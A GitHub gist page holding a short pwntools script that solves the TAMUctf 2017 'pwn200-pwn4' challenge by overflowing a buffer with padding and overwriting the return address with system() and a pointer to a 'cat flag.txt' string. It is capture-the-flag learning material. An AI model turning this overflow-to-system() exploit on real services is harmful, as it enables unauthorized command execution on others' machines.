Skip to content

Instantly share code, notes, and snippets.

@intrd

intrd/tamuCTF_pwn200-pwn4.py

Created April 24, 2017 14:36
Show Gist options
  • Save intrd/786dec9cdcbac342da74eaa3e6abb36d to your computer and use it in GitHub Desktop.
Save intrd/786dec9cdcbac342da74eaa3e6abb36d to your computer and use it in GitHub Desktop.
Download ZIP
Solution for TAMUctf 2017 : pwn200-pwn4
Raw
tamuCTF_pwn200-pwn4.py
## Solution for TAMUctf 2017 : pwn200-pwn4
# @author intrd - http://dann.com.br/
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/
from pwn import *
r = remote('web.ctf.tamu.edu', 4324)
elf = ELF('./pwn4')
payload = "A"*16
payload += p32(0x80484d9) #system
payload += p32(0x804a028) #/bin/cat flag.txt
payload += "AAAA"
r.sendline(payload)
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment